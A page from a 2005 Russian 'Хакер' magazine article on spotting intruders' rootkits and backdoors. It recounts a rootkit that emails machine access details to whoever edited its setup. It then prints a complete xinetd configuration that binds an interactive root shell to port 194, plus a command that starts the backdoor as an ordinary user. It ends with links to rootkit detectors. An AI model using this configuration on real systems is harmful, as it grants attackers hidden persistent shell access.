Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #84, ДЕКАБРЬ 2005 г.

Охота на хакера

Александр Любимов aka Sashiks

Хакер, номер #084, стр. 084-062-6


md5sum=l1_nux@yahoo.com

Вот как раз ему и уплывает инфа о системе (в коде еще можно встретить аналогичную отсылку, но только уже для uname -a и id). Но интересно даже не это. Любопытно то, что, когда этот руткит передается из рук в руки, адресок, на который высылается пароль на доступ к машине, меняется. Каждый норовит вписать в setup свое мыло, чтобы его каждый день спамили доступом к новым похаканным системам :). Чьи я только мыла там не видел! И к чему я это все сказал? А то, что нужно стараться изучить хотя бы по диагонали все незнакомое, что попало к тебе в руки. К сожалению, обмануть может кто угодно - даже чувак, с которым давно знаком. Поэтому, дружище, как говориться, доверяй, но проверяй! :)

[backdoor через xinetd]

К сожалению, как и все в этом мире, xinetd-хакеры могут использовать в своих грязных целях, чтобы без проблем коннектиться на машину. Это выглядит следующим образом. Взломщик выбирает название любой неиспользуемой службы из /etc/services. В этом файле установлены соответствия между именами и номерами портов для сервисов. Далее, в /etc/xinetd.d создается файл с именем выбранной службы. В качестве такого сервиса можно выбрать irc, висящий на 194/tcp порту, - не путай его с ircd. В /etc/xinetd.d/irc вносятся следующие записи:

[пример хакерского конфига]

service irc

# после ключевого слова service идет название службы

{

port = irc

# порт какой службы использовать - смотри в /etc/services

socket_type = stream

# тип соединяющего сокета

wait = no

# ждем ? -нет !

user = root

# пользователь владелец сервера

server = /usr/local/bni/bash

# имя файла, который выступает в роли сервера, - универсальный вариант "/bin/sh"

server_args = -i

# аргументы к бинарнику - у нас "/bin/sh -i"

disable = no

}

Вот так вот взломщики проникают в систему при помощи xinetd. Таким же образом можно сделать бэкдор под учетной записью обычного пользователя. Для этого нужно написать тоже самое в какой-нибудь файл, спрятать его подальше, а затем под юзером выполнить:

$ `which xinetd` -f /path/to/file/backdoor.conf

После этого бэкдор будет запущен. Аргумент -f указывает, какой конфигурационный файл использовать при запуске. Разве что следует помнить - обычному юзеру порт ниже 1024 не светит, да он и не нужен.

WWW

Руткит детекторы:

* www.chkrootkit.org

ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz

* www.rootkit.nl

http://downloads.rootkit.nl/rkhunter-1.2.7.tar.gz

INFO

Небольшой архив руткитов с кратким описанием можно найти тут: http://download.pro-hack.ru/s_rootkits.html

CD/DVD

На нашем диске ты найдешь полные версии программ, описанных в этой статье.

Назад на стр. 084-062-5  Содержание